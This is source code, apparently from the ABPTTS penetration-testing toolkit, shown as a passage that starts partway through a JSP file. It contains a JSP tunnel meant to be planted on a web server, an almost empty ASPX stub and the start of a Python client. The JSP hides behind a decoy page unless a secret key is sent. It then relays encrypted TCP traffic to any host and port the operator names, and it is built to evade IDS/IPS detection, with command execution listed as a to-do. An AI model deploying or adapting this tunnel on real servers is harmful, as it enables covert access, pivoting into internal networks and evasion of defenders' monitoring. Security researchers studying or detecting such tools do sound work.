61 | final public static char[] hexArray = "0123456789ABCDEF".toCharArray();
62 |
63 | class SessionConnection
64 | {
65 | public String ConnectionID;
66 | public int PortNumber;
67 | public String Host;
68 | public Socket Sock;
69 | public int UnusedIterations;
70 | public byte[] ReceiveBuffer;
71 |
72 | public SessionConnection()
73 | {
74 | ConnectionID = GenerateConnectionID();
75 | PortNumber = -1;
76 | Host = "";
77 | UnusedIterations = 0;
78 | ReceiveBuffer = new byte[0];
79 | }
80 |
81 | public void AddBytesToReceiveBuffer(byte[] newBytes)
82 | {
83 | if (newBytes.length > 0)
84 | {
85 | byte[] newReceiveBuffer = new byte[ReceiveBuffer.length + newBytes.length];
86 | System.arraycopy(ReceiveBuffer, 0, newReceiveBuffer, 0, ReceiveBuffer.length);
87 | System.arraycopy(newBytes, 0, newReceiveBuffer, ReceiveBuffer.length, newBytes.length);
88 | ReceiveBuffer = newReceiveBuffer;
89 | }
90 | }
91 |
92 | public byte[] GetBytesFromReceiveBuffer(int maxBytes)
93 | {
94 | int byteCount = maxBytes;
95 | if (byteCount > ReceiveBuffer.length)
96 | {
97 | byteCount = ReceiveBuffer.length;
98 | }
99 | byte[] result = new byte[byteCount];
100 |
101 | System.arraycopy(ReceiveBuffer, 0, result, 0, byteCount);
102 |
103 | if (byteCount == ReceiveBuffer.length)
104 | {
105 | ReceiveBuffer = new byte[0];
106 | }
107 | else
108 | {
109 | int newByteCount = ReceiveBuffer.length - byteCount;
110 | byte[] newReceiveBuffer = new byte[newByteCount];
111 | System.arraycopy(ReceiveBuffer, byteCount, newReceiveBuffer, 0, newByteCount);
112 | ReceiveBuffer = newReceiveBuffer;
113 | }
114 | return result;
115 | }
116 |
117 | public String GenerateConnectionID()
118 | {
119 | Random r = new Random();
120 |
121 | byte[] connID = new byte[8];
122 |
123 | r.nextBytes(connID);
124 |
125 | return bytesToHex(connID);
126 | }
127 |
128 | public String bytesToHex(byte[] bytes)
129 | {
130 | char[] hexChars = new char[bytes.length * 2];
131 | for ( int j = 0; j < bytes.length; j++ )
132 | {
133 | int v = bytes[j] & 0xFF;
134 | hexChars[j * 2] = hexArray[v >>> 4];
135 | hexChars[j * 2 + 1] = hexArray[v & 0x0F];
136 | }
137 | return new String(hexChars);
138 | }
139 | }
140 |
141 | public byte[] hexStringToByteArray(String s) {
142 | int len = s.length();
143 | byte[] data = new byte[len / 2];
144 | for (int i = 0; i < len; i += 2) {
145 | data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
146 | + Character.digit(s.charAt(i+1), 16));
147 | }
148 | return data;
149 | }
150 |
151 | public byte[] GenerateRandomBytes(int byteCount)
152 | {
153 | byte[] result = new byte[byteCount];
154 | new Random().nextBytes(result);
155 | return result;
156 | }
157 |
158 | public byte[] EncryptData(byte[] plainText, Cipher c, byte[] key, int blockSize) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException
159 | {
160 | byte[] iv = GenerateRandomBytes(blockSize);
161 | // typical AES encryption depends on the IV alone preventing identical inputs from
162 | // encrypting to identical outputs
163 | // MIT Kerberos uses a model in which the IV is set to all zeroes, but the first
164 | // block of data is random, and then discarded on decryption
165 | // I think of this as a "reinitialization vector" that takes place on the other
166 | // side of the encryption "looking glass". It should also help protect against
167 | // theoretical known-plaintext vulnerabilities in AES.
168 | // why not use both?
169 | byte[] reIV = GenerateRandomBytes(blockSize);
170 | SecretKey key2 = new SecretKeySpec(key, 0, key.length, "AES");
171 | c.init(Cipher.ENCRYPT_MODE, key2, new IvParameterSpec(iv));
172 | byte[] rivPlainText = new byte[plainText.length + blockSize];
173 | System.arraycopy(reIV, 0, rivPlainText, 0, reIV.length);
174 | System.arraycopy(plainText, 0, rivPlainText, blockSize, plainText.length);
175 | byte[] cipherText = c.doFinal(rivPlainText);
176 | byte[] ivCipherText = new byte[cipherText.length + blockSize];
177 | System.arraycopy(iv, 0, ivCipherText, 0, iv.length);
178 | System.arraycopy(cipherText, 0, ivCipherText, blockSize, cipherText.length);
179 | return ivCipherText;
180 | }
181 |
182 | public byte[] DecryptData(byte[] cipherText, Cipher c, byte[] key, int blockSize) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException
183 | {
184 | byte[] iv = new byte[blockSize];
185 | byte[] strippedCipherText = new byte[cipherText.length - blockSize];
186 | System.arraycopy(cipherText, 0, iv, 0, blockSize);
187 | System.arraycopy(cipherText, blockSize, strippedCipherText, 0, strippedCipherText.length);
188 | SecretKey key2 = new SecretKeySpec(key, 0, key.length, "AES");
189 | c.init(Cipher.DECRYPT_MODE, key2, new IvParameterSpec(iv));
190 | byte[] rivPlainText = c.doFinal(strippedCipherText);
191 | byte[] plainText = new byte[rivPlainText.length - blockSize];
192 | System.arraycopy(rivPlainText, blockSize, plainText, 0, plainText.length);
193 | return plainText;
194 | }
195 |
196 | %><%
197 |
198 | /* Begin configurable options */
199 |
200 | int serverSocketMaxUnusedIterations = %PLACEHOLDER_serverSocketMaxUnusedIterations%;
201 |
202 | int serverSocketIOTimeout = %PLACEHOLDER_serverSocketIOTimeout%;
203 | int serverSocketSendBufferSize = %PLACEHOLDER_serverSocketSendBufferSize%;
204 | int serverSocketReceiveBufferSize = %PLACEHOLDER_serverSocketReceiveBufferSize%;
205 |
206 | int serverToClientBlockSize = %PLACEHOLDER_serverToClientBlockSize%;
207 |
208 | /* Most of the options in this section are configurable to avoid simplistic string-based IDS/IPS-type detection */
209 | /* If they are altered, be sure to pass the corresponding alternate values to the Python client software */
210 |
211 | String headerValueKey = "%PLACEHOLDER_headerValueKey%";
212 | String encryptionKeyHex = "%PLACEHOLDER_encryptionKeyHex%";
213 |
214 | String headerNameKey = "%PLACEHOLDER_headerNameKey%";
215 |
216 | String accessKeyMode = "%PLACEHOLDER_accessKeyMode%";
217 | String paramNameAccessKey = "%PLACEHOLDER_paramNameAccessKey%";
218 |
219 | String paramNameOperation = "%PLACEHOLDER_paramNameOperation%";
220 | String paramNameDestinationHost = "%PLACEHOLDER_paramNameDestinationHost%";
221 | String paramNameDestinationPort = "%PLACEHOLDER_paramNameDestinationPort%";
222 | String paramNameConnectionID = "%PLACEHOLDER_paramNameConnectionID%";
223 | String paramNameData = "%PLACEHOLDER_paramNameData%";
224 | String paramNamePlaintextBlock = "%PLACEHOLDER_paramNamePlaintextBlock%";
225 | String paramNameEncryptedBlock = "%PLACEHOLDER_paramNameEncryptedBlock%";
226 |
227 | String dataBlockNameValueSeparatorB64 = "%PLACEHOLDER_dataBlockNameValueSeparatorB64%";
228 | String dataBlockParamSeparatorB64 = "%PLACEHOLDER_dataBlockParamSeparatorB64%";
229 |
230 | String opModeStringOpenConnection = "%PLACEHOLDER_opModeStringOpenConnection%";
231 | String opModeStringSendReceive = "%PLACEHOLDER_opModeStringSendReceive%";
232 | String opModeStringCloseConnection = "%PLACEHOLDER_opModeStringCloseConnection%";
233 |
234 | String responseStringHide = "%PLACEHOLDER_responseStringHide%";
235 | String responseStringConnectionCreated = "%PLACEHOLDER_responseStringConnectionCreated%";
236 | String responseStringConnectionClosed = "%PLACEHOLDER_responseStringConnectionClosed%";
237 | String responseStringData = "%PLACEHOLDER_responseStringData%";
238 | String responseStringNoData = "%PLACEHOLDER_responseStringNoData%";
239 | String responseStringErrorGeneric = "%PLACEHOLDER_responseStringErrorGeneric%";
240 | String responseStringErrorInvalidRequest = "%PLACEHOLDER_responseStringErrorInvalidRequest%";
241 | String responseStringErrorConnectionNotFound = "%PLACEHOLDER_responseStringErrorConnectionNotFound%";
242 | String responseStringErrorConnectionOpenFailed = "%PLACEHOLDER_responseStringErrorConnectionOpenFailed%";
243 | String responseStringErrorConnectionCloseFailed = "%PLACEHOLDER_responseStringErrorConnectionCloseFailed%";
244 | String responseStringErrorConnectionSendFailed = "%PLACEHOLDER_responseStringErrorConnectionSendFailed%";
245 | String responseStringErrorConnectionReceiveFailed = "%PLACEHOLDER_responseStringErrorConnectionReceiveFailed%";
246 | String responseStringErrorDecryptFailed = "%PLACEHOLDER_responseStringErrorDecryptFailed%";
247 | String responseStringErrorEncryptFailed = "%PLACEHOLDER_responseStringErrorEncryptFailed%";
248 | String responseStringErrorEncryptionNotSupported = "%PLACEHOLDER_responseStringErrorEncryptionNotSupported%";
249 | String responseStringPrefixB64 = "%PLACEHOLDER_responseStringPrefixB64%";
250 | String responseStringSuffixB64 = "%PLACEHOLDER_responseStringSuffixB64%";
251 |
252 | /* End configurable options */
253 |
254 | BASE64Decoder base64decoder = new BASE64Decoder();
255 |
256 | String responseStringPrefix = new String(base64decoder.decodeBuffer(responseStringPrefixB64));
257 | String responseStringSuffix = new String(base64decoder.decodeBuffer(responseStringSuffixB64));
258 |
259 | String dataBlockNameValueSeparator = new String(base64decoder.decodeBuffer(dataBlockNameValueSeparatorB64));
260 | String dataBlockParamSeparator = new String(base64decoder.decodeBuffer(dataBlockParamSeparatorB64));
261 |
262 | int OPMODE_HIDE = 0;
263 | int OPMODE_DEFAULT = 1;
264 | int OPMODE_OPEN = 2;
265 | int OPMODE_SEND_RECEIVE = 4;
266 | int OPMODE_CLOSE = 8;
267 | /* To do: file upload/download, OS command execution */
268 | int OPMODE_UPLOAD = 16;
269 | int OPMODE_DOWNLOAD = 32;
270 | int OPMODE_CMD_EXEC = 64;
271 |
272 | int opMode = OPMODE_HIDE;
273 |
274 | int encryptionBlockSize = 16;
275 |
276 | /* response.setBufferSize(6553600); */
277 |
278 | byte[] encryptionKey = new byte[] {};
279 |
280 | try
281 | {
282 | encryptionKey = hexStringToByteArray(encryptionKeyHex);
283 | }
284 | catch (Exception ex)
285 | {
286 | encryptionKey = new byte[] {};
287 | }
288 |
289 | Cipher cipher = null;
290 |
291 | try
292 | {
293 | cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
294 | }
295 | catch (Exception ex)
296 | {
297 | cipher = null;
298 | }
299 |
300 |
301 | try
302 | {
303 | if (accessKeyMode.equals("header"))
304 | {
305 | if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim()))
306 | {
307 | opMode = OPMODE_DEFAULT;
308 | }
309 | }
310 | else
311 | {
312 | if (request.getParameter(paramNameAccessKey).toString().trim().equals(headerValueKey.trim()))
313 | {
314 | opMode = OPMODE_DEFAULT;
315 | }
316 | }
317 | }
318 | catch (Exception ex)
319 | {
320 | opMode = OPMODE_HIDE;
321 | }
322 | %><%=responseStringPrefix%><%
323 | if (opMode == OPMODE_HIDE)
324 | {
325 | /* Begin: replace this block of code with alternate JSP code to use a different "innocuous" default response */
326 | /* E.g. copy/paste from your favourite server status page JSP */
327 | %><%=responseStringHide%><%
328 | /* End: replace this block of code with alternate JSP code to use a different "innocuous" default response */
329 | }
330 | if (opMode != OPMODE_HIDE)
331 | {
332 | PageContext context;
333 | HttpSession currentSession;
334 | int DestPort = -1;
335 | String RequestedOp = "";
336 | String DestHost = "";
337 | String DataB64 = "";
338 | String ConnectionID = "";
339 | Hashtable Connections = new Hashtable();
340 | SessionConnection Conn = new SessionConnection();
341 | boolean encryptedRequest = false;
342 | String unpackedBlock = "";
343 | Hashtable unpackedParams = new Hashtable();
344 | boolean sentResponse = false;
345 |
346 | boolean validRequest = true;
347 |
348 | try
349 | {
350 | if ((request.getParameter(paramNameEncryptedBlock) != null) || (request.getParameter(paramNamePlaintextBlock) != null))
351 | {
352 | byte[] decodedBytes = new byte[0];
353 | if ((request.getParameter(paramNameEncryptedBlock) != null) && (cipher != null) && (encryptionKey.length > 0))
354 | {
355 | decodedBytes = base64decoder.decodeBuffer(request.getParameter(paramNameEncryptedBlock));
356 | try
357 | {
358 | byte[] decryptedBytes = DecryptData(decodedBytes, cipher, encryptionKey, encryptionBlockSize);
359 | unpackedBlock = new String(decryptedBytes, "UTF-8");
360 | encryptedRequest = true;
361 | }
362 | catch (Exception ex)
363 | {
364 | %><%=responseStringErrorDecryptFailed%><%
365 | /* return; */
366 | validRequest = false;
367 | sentResponse = true;
368 | }
369 | }
370 | else
371 | {
372 | decodedBytes = base64decoder.decodeBuffer(request.getParameter(paramNamePlaintextBlock));
373 | unpackedBlock = new String(decodedBytes, "UTF-8");
374 | }
375 |
376 | if (validRequest)
377 | {
378 | String[] paramArray = unpackedBlock.split(dataBlockParamSeparator);
379 | if (paramArray.length > 0)
380 | {
381 | for (int i = 0; i < paramArray.length; i++)
382 | {
383 | String currentParam = paramArray[i];
384 | String[] pvArray = currentParam.split(dataBlockNameValueSeparator);
385 | if (pvArray.length > 1)
386 | {
387 | unpackedParams.put(pvArray[0], pvArray[1]);
388 | }
389 | }
390 | }
391 | }
392 | }
393 | }
394 | catch (Exception ex)
395 | {
396 | validRequest = false;
397 | }
398 |
399 | if (validRequest)
400 | {
401 | try
402 | {
403 | if (unpackedParams.containsKey(paramNameOperation))
404 | {
405 | RequestedOp = (String)unpackedParams.get(paramNameOperation);
406 | }
407 | }
408 | catch (Exception ex)
409 | {
410 | RequestedOp = "";
411 | }
412 |
413 | try
414 | {
415 | if (unpackedParams.containsKey(paramNameDestinationHost))
416 | {
417 | DestHost = (String)unpackedParams.get(paramNameDestinationHost);
418 | }
419 | }
420 | catch (Exception ex)
421 | {
422 | DestHost = "";
423 | }
424 |
425 | try
426 | {
427 | if (unpackedParams.containsKey(paramNameConnectionID))
428 | {
429 | ConnectionID = (String)unpackedParams.get(paramNameConnectionID);
430 | }
431 | }
432 | catch (Exception ex)
433 | {
434 | ConnectionID = "";
435 | }
436 |
437 | try
438 | {
439 | if (unpackedParams.containsKey(paramNameDestinationPort))
440 | {
441 | DestPort = (Integer.parseInt((String)unpackedParams.get(paramNameDestinationPort)));
442 | }
443 | }
444 | catch (Exception ex)
445 | {
446 | DestPort = -1;
447 | }
448 |
449 | try
450 | {
451 | if (unpackedParams.containsKey(paramNameData))
452 | {
453 | DataB64 = (String)unpackedParams.get(paramNameData);
454 | }
455 | }
456 | catch (Exception ex)
457 | {
458 | DataB64 = "";
459 | }
460 |
461 | if (RequestedOp.equals(""))
462 | {
463 | validRequest = false;
464 | }
465 | }
466 |
467 | if (validRequest)
468 | {
469 | if (RequestedOp.equals(opModeStringOpenConnection))
470 | {
471 | opMode = OPMODE_OPEN;
472 | if (DestHost.equals(""))
473 | {
474 | validRequest = false;
475 | }
476 | if (DestPort == -1)
477 | {
478 | validRequest = false;
479 | }
480 | }
481 | if (RequestedOp.equals(opModeStringSendReceive))
482 | {
483 | opMode = OPMODE_SEND_RECEIVE;
484 | if (ConnectionID.equals(""))
485 | {
486 | validRequest = false;
487 | }
488 | }
489 | if (RequestedOp.equals(opModeStringCloseConnection))
490 | {
491 | opMode = OPMODE_CLOSE;
492 | if (ConnectionID.equals(""))
493 | {
494 | validRequest = false;
495 | }
496 | }
497 | }
498 |
499 | if (!validRequest)
500 | {
501 | if (!sentResponse)
502 | {
503 | %><%=responseStringErrorInvalidRequest%><%
504 | /* return; */
505 | }
506 | }
507 | else
508 | {
509 | try
510 | {
511 | Connections = (Hashtable)session.getAttribute("SessionConnections");
512 | if (Connections == null)
513 | {
514 | Connections = new Hashtable();
515 | }
516 | }
517 | catch (Exception ex)
518 | {
519 | Connections = new Hashtable();
520 | }
521 |
522 | if (opMode == OPMODE_OPEN)
523 | {
524 | Conn = new SessionConnection();
525 | Conn.Host = DestHost;
526 | Conn.PortNumber = DestPort;
527 | ConnectionID = Conn.ConnectionID;
528 | try
529 | {
530 | Conn.Sock = new Socket(DestHost, DestPort);
531 | Conn.Sock.setSoTimeout(serverSocketIOTimeout);
532 | Conn.Sock.setSendBufferSize(serverSocketSendBufferSize);
533 | Conn.Sock.setReceiveBufferSize(serverSocketReceiveBufferSize);
534 | /* Conn.Sock.setTcpNoDelay(true); */
535 | Connections.put(ConnectionID, Conn);
536 | %><%=responseStringConnectionCreated%> <%=ConnectionID%><%
537 | sentResponse = true;
538 | }
539 | catch (Exception ex)
540 | {
541 | %><%=responseStringErrorConnectionOpenFailed%><%
542 | /* return; */
543 | validRequest = false;
544 | sentResponse = true;
545 | }
546 | }
547 | }
548 |
549 | if ((validRequest) && (opMode == OPMODE_SEND_RECEIVE) || (opMode == OPMODE_CLOSE))
550 | {
551 | if (Connections.containsKey(ConnectionID))
552 | {
553 | try
554 | {
555 | Conn = (SessionConnection)Connections.get(ConnectionID);
556 | if (Conn.Sock == null)
557 | {
558 | validRequest = false;
559 | Connections.remove(ConnectionID);
560 | }
561 | }
562 | catch (Exception ex)
563 | {
564 | validRequest = false;
565 | }
566 | }
567 | else
568 | {
569 | validRequest = false;
570 | }
571 |
572 | if (!validRequest)
573 | {
574 | if (!sentResponse)
575 | {
576 | %><%=responseStringErrorConnectionNotFound%><%
577 | /* return; */
578 | validRequest = false;
579 | sentResponse = true;
580 | }
581 | }
582 | }
583 |
584 | if ((validRequest) && (opMode == OPMODE_SEND_RECEIVE))
585 | {
586 | InputStream is = null;
587 | try
588 | {
589 | is = Conn.Sock.getInputStream();
590 | }
591 | catch (Exception ex)
592 | {
593 | Conn.Sock = new Socket(DestHost, DestPort);
594 | Conn.Sock.setSoTimeout(serverSocketIOTimeout);
595 | Conn.Sock.setSendBufferSize(serverSocketSendBufferSize);
596 | Conn.Sock.setReceiveBufferSize(serverSocketReceiveBufferSize);
597 | /* Conn.Sock.setTcpNoDelay(true); */
598 | is = Conn.Sock.getInputStream();
599 | }
600 | DataInputStream inStream = new DataInputStream(is);
601 | DataOutputStream outStream = new DataOutputStream(Conn.Sock.getOutputStream());
602 |
603 | byte[] bytesOut = base64decoder.decodeBuffer(DataB64);
604 |
605 | boolean socketStillOpen = true;
606 |
607 | try
608 | {
609 | outStream.write(bytesOut);
610 | outStream.flush();
611 | }
612 | catch (Exception ex)
613 | {
614 | socketStillOpen = false;
615 | opMode = OPMODE_CLOSE;
616 | }
617 |
618 | byte[] bytesIn = new byte[0];
619 |
620 | if (socketStillOpen)
621 | {
622 | byte[] buf = new byte[6553600];
623 | int maxReadAttempts = 65536000;
624 | maxReadAttempts = 1000;
625 | int readAttempts = 0;
626 | int nRead = 0;
627 | boolean doneReading = false;
628 | try
629 | {
630 | nRead = inStream.read(buf);
631 | if (nRead < 0)
632 | {
633 | doneReading = true;
634 | }
635 | }
636 | catch (Exception ex)
637 | {
638 | doneReading = true;
639 | }
640 | while (!doneReading)
641 | {
642 | byte[] newBytesIn = new byte[bytesIn.length + nRead];
643 | if (bytesIn.length > 0)
644 | {
645 | System.arraycopy(bytesIn, 0, newBytesIn, 0, bytesIn.length);
646 | }
647 | if (nRead > 0)
648 | {
649 | System.arraycopy(buf, 0, newBytesIn, bytesIn.length, nRead);
650 | bytesIn = newBytesIn;
651 | }
652 | try
653 | {
654 | nRead = inStream.read(buf);
655 | if (nRead < 0)
656 | {
657 | doneReading = true;
658 | }
659 | }
660 | catch (Exception ex)
661 | {
662 | doneReading = true;
663 | }
664 | readAttempts++;
665 | if (readAttempts > maxReadAttempts)
666 | {
667 | doneReading = true;
668 | }
669 | }
670 |
671 | synchronized(session)
672 | {
673 | Conn.AddBytesToReceiveBuffer(bytesIn);
674 | }
675 | }
676 |
677 | if (Conn.ReceiveBuffer.length > 0)
678 | {
679 | String OutB64 = "";
680 | BASE64Encoder base64encoder = new BASE64Encoder();
681 | byte[] toClient = new byte[0];
682 | synchronized(session)
683 | {
684 | toClient = Conn.GetBytesFromReceiveBuffer(serverToClientBlockSize);
685 | }
686 | if (encryptedRequest)
687 | {
688 | try
689 | {
690 | byte[] encryptedBytes = EncryptData(toClient, cipher, encryptionKey, encryptionBlockSize);
691 | OutB64 = base64encoder.encode(encryptedBytes);
692 | }
693 | catch (Exception ex)
694 | {
695 | %><%=responseStringErrorEncryptFailed%><%
696 | /* return; */
697 | validRequest = false;
698 | sentResponse = true;
699 | }
700 | }
701 | else
702 | {
703 | OutB64 = base64encoder.encode(toClient);
704 | }
705 | if (!sentResponse)
706 | {
707 | %><%=responseStringData%> <%=OutB64%><%
708 | sentResponse = true;
709 | }
710 | }
711 | else
712 | {
713 | if (!sentResponse)
714 | {
715 | %><%=responseStringNoData%><%
716 | sentResponse = true;
717 | }
718 | }
719 | }
720 |
721 | if ((validRequest) && (opMode == OPMODE_CLOSE))
722 | {
723 | try
724 | {
725 | Conn.Sock.close();
726 | if (!sentResponse)
727 | {
728 | %><%=responseStringConnectionClosed%> <%=ConnectionID%><%
729 | sentResponse = true;
730 | }
731 | }
732 | catch (Exception ex)
733 | {
734 | if (!sentResponse)
735 | {
736 | %><%=responseStringErrorConnectionCloseFailed%><%
737 | sentResponse = true;
738 | }
739 | }
740 | }
741 |
742 | if (validRequest)
743 | {
744 | synchronized(session)
745 | {
746 | try
747 | {
748 | Connections = (Hashtable)session.getAttribute("SessionConnections");
749 | if (Connections == null)
750 | {
751 | Connections = new Hashtable();
752 | }
753 | }
754 | catch (Exception ex)
755 | {
756 | Connections = new Hashtable();
757 | }
758 |
759 | /* Update the current connection (if one exists), and remove stale connections */
760 |
761 | if (!ConnectionID.equals(""))
762 | {
763 | Conn.UnusedIterations = 0;
764 | if (Connections.containsKey(ConnectionID))
765 | {
766 | Connections.remove(ConnectionID);
767 | if (opMode != OPMODE_CLOSE)
768 | {
769 | Connections.put(ConnectionID, Conn);
770 | }
771 | }
772 | else
773 | {
774 | Connections.put(ConnectionID, Conn);
775 | }
776 | }
777 |
778 | Enumeration connKeys = Connections.keys();
779 | while (connKeys.hasMoreElements())
780 | {
781 | String cid = (String)connKeys.nextElement();
782 | if (!cid.equals(ConnectionID))
783 | {
784 | SessionConnection c = (SessionConnection)Connections.get(cid);
785 | Connections.remove(cid);
786 | c.UnusedIterations++;
787 | if (c.UnusedIterations < serverSocketMaxUnusedIterations)
788 | {
789 | Connections.put(cid, c);
790 | }
791 | else
792 | {
793 | try
794 | {
795 | c.Sock.close();
796 | }
797 | catch (Exception ex)
798 | {
799 | // do nothing
800 | }
801 | }
802 | }
803 | }
804 |
805 | session.setAttribute("SessionConnections", Connections);
806 | }
807 | }
808 | }
809 | %><%=responseStringSuffix%><%
810 | %>
--------------------------------------------------------------------------------
/template/abptts.aspx:
--------------------------------------------------------------------------------
1 | <%@ Page Language="C#" %>
2 | <%@ Import Namespace="System" %>
3 | <%@ Import Namespace="System.Collections" %>
4 | <%@ Import Namespace="System.Collections.Generic" %>
5 | <%@ Import Namespace="System.IO" %>
6 | <%@ Import Namespace="System.Net.Sockets" %>
7 | <%@ Import Namespace="System.Security.Cryptography" %>
8 | <%@ Import Namespace="System.Web" %>
9 |
10 |
--------------------------------------------------------------------------------
/abpttsclient.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | # This file is part of A Black Path Toward The Sun ("ABPTTS")
4 |
5 | # Copyright 2016 NCC Group
6 |
7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify
8 | # it under the terms of version 2 of the GNU General Public License as published by
9 | # the Free Software Foundation.
10 |
11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 |
16 | # You should have received a copy of the GNU General Public License
17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt).
18 | # If not, see .
19 |
20 | # Version 1.0
21 | # Ben Lincoln, NCC Group
22 | # 2016-07-30
23 |
24 | # Client component of A Black Path Toward The Sun
25 |
26 | # it is very likely that you will need to install the httplib2 and pycrypto Python libraries to use ABPTTS.
27 | # e.g.:
28 | # pip install httplib2
29 | # pip install pycrypto
30 | #
31 | # pycrypto may require the installation of additional OS-level packages to obtain the Python headers, e.g. on Debian:
32 | # apt-get install python-dev
33 | # ...or on Windows, download and install https://www.microsoft.com/en-us/download/details.aspx?id=44266
34 |
35 | import base64
36 | import binascii
37 | import httplib2
38 | import inspect
39 | import math
40 | #import multiprocessing
41 | import os
42 | import random
43 | import re
44 | import sys
45 | import socket
46 | import thread
47 | #import threading
48 | import time
49 | import urllib
50 |
51 | import libabptts
52 |
53 | from Crypto.Cipher import AES
54 | from datetime import datetime, date, tzinfo, timedelta
55 |
56 | outputHandler = libabptts.OutputHandler()
57 | conf = libabptts.ABPTTSConfiguration(outputHandler)
58 |
59 | # \\\\\\ Do not modify below this line unless you know what you're doing! //////
60 | #
61 |
62 | socketTimeoutCurrent = 1.0
63 | clientSocketTimeoutVariationNeg = 0.0
64 |
65 | httpConnectionTimeout = 10.0
66 | httpRequestRetryLimit = 12
67 | httpRequestRetryDelay = 5.0
68 |
69 | unsafeTLSMode = False
70 |
71 | runServer = 1
72 |
73 | clientToServerBuffer = ""
74 |
75 | responseStringWrapperText = []
76 |
77 | encryptionKey = []
78 |
79 | dataBlockNameValueSeparator = ""
80 | dataBlockParamSeparator = ""
81 |
82 | encryptionBlockSize = 16
83 |
84 | def showBanner():
85 | outputHandler.outputMessage("---===[[[ A Black Path Toward The Sun ]]]===---")
86 | outputHandler.outputMessage(" --==[[ - Client - ]]==--")
87 | outputHandler.outputMessage(" Ben Lincoln, NCC Group")
88 | outputHandler.outputMessage(' Version %s - %s' % (libabptts.ABPTTSVersion.GetVersionString(), libabptts.ABPTTSVersion.GetReleaseDateString()))
89 |
90 | #@staticmethod
91 | def pad(s, blockSize):
92 | return s + (blockSize - len(s) % blockSize) * chr(blockSize - len(s) % blockSize)
93 |
94 | #@staticmethod
95 | def unpad(s):
96 | return s[:-ord(s[len(s)-1:])]
97 |
98 | def encrypt(plaintext, key, blockSize):
99 | iv = bytearray(os.urandom(blockSize))
100 | iv = str(iv)
101 | reIV = bytearray(os.urandom(blockSize))
102 | reIV = str(reIV)
103 | rivPlaintext = pad(reIV + str(plaintext), blockSize)
104 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext)
105 | cipher = AES.new(key, AES.MODE_CBC, IV=iv)
106 | return iv + str(cipher.encrypt(rivPlaintext))
107 |
108 | def decrypt(ciphertext, key, blockSize):
109 | #print "ciphertext: " + base64.b64encode(ciphertext)
110 | iv = ciphertext[0:blockSize]
111 | #print "iv: " + base64.b64encode(iv)
112 | #print "ciphertext: " + base64.b64encode(ciphertext)
113 | rivCiphertext = ciphertext[blockSize:]
114 | #print "rivCiphertext: " + base64.b64encode(rivCiphertext)
115 | rivCiphertext = str(rivCiphertext)
116 | #print "rivCiphertext: " + base64.b64encode(rivCiphertext)
117 | cipher = AES.new(key, AES.MODE_CBC, IV=iv)
118 | rivPlaintext = cipher.decrypt(rivCiphertext)
119 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext)
120 | rivPlaintext = str(rivPlaintext)
121 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext)
122 | rivPlaintext = unpad(rivPlaintext)
123 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext)
124 | #rivPlaintext = str(cipher.decrypt(str(rivCiphertext)))
125 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext)
126 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext[blockSize:])
127 | return rivPlaintext[blockSize:]
128 | #return rivPlaintext
129 |
130 | def outputTunnelIOMessage(direction, clientAddress, listeningAddress, serverAddress, connectionID, category, message):
131 | result = '[(%s)' % (direction)
132 | if direction == "S2C":
133 | result = '%s %s -> %s -> %s' % (result, serverAddress, listeningAddress, clientAddress)
134 | else:
135 | result = '%s %s -> %s -> %s' % (result, clientAddress, listeningAddress, serverAddress)
136 |
137 | if connectionID != None:
138 | if connectionID.strip() != "":
139 | result = '%s (Connection ID: %s)' % (result, connectionID)
140 | if category != None:
141 | if category.strip() != "":
142 | result = '%s (%s)' % (result, category)
143 |
144 | result = '%s]: %s' % (result, message)
145 |
146 | outputHandler.outputMessage(result)
147 |
148 | def getServerResponseFromResponseBody(responseBody, wrapperTextArray, formattedServerAddress, formattedClientAddress, listeningAddress, connectionID):
149 | result = responseBody.strip()
150 | for wt in wrapperTextArray:
151 | result = result.replace(wt, "")
152 | result = result.strip()
153 | if conf.echoHTTPBody:
154 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Response Body', '%s%s' % (os.linesep, responseBody))
155 | outputTunnelIOMessage('S2C', formattedClientAddress, listeningAddress, formattedServerAddress, connectionID, 'HTTP Response Body Without Wrapper Text', '%s%s' % (os.linesep, result))
156 | return result
157 |
158 | def getCookieFromServerResponse(connectionID, currentCookie, serverResponse):
159 | newCookie = currentCookie
160 | try:
161 | if 'set-cookie' in serverResponse:
162 | newCookie = serverResponse['set-cookie']
163 | if connectionID.strip() != "":
164 | outputHandler.outputMessage('[Connection ID %s]: Server set cookie %s' % (connectionID, newCookie))
165 | else:
166 | outputHandler.outputMessage('Server set cookie %s' % (newCookie))
167 | except:
168 | newCookie = currentCookie
169 | return newCookie
170 |
171 | def child(clientsock, clientAddr, listeningAddress, forwardingURL, destAddress, destPort):
172 | global clientToServerBuffer
173 | global socketTimeoutCurrent
174 | try:
175 | formattedServerAddress = '%s:%s' % (destAddress, destPort)
176 | formattedClientAddress = '%s:%s' % (clientAddr[0], clientAddr[1])
177 | socketTimeoutCurrent = conf.clientSocketTimeoutBase
178 | clientsock.settimeout(socketTimeoutCurrent)
179 | closeConnections = 0
180 | runChildLoop = 1
181 | if conf.accessKeyMode == "header":
182 | headers = {'User-Agent': conf.headerValueUserAgent, 'Content-type': 'application/x-www-form-urlencoded', conf.headerNameKey: conf.headerValueKey, 'Connection': 'close'}
183 | else:
184 | headers = {'User-Agent': conf.headerValueUserAgent, 'Content-type': 'application/x-www-form-urlencoded', 'Connection': 'close'}
185 | connectionID = ""
186 | cookieVal = ""
187 | body = {}
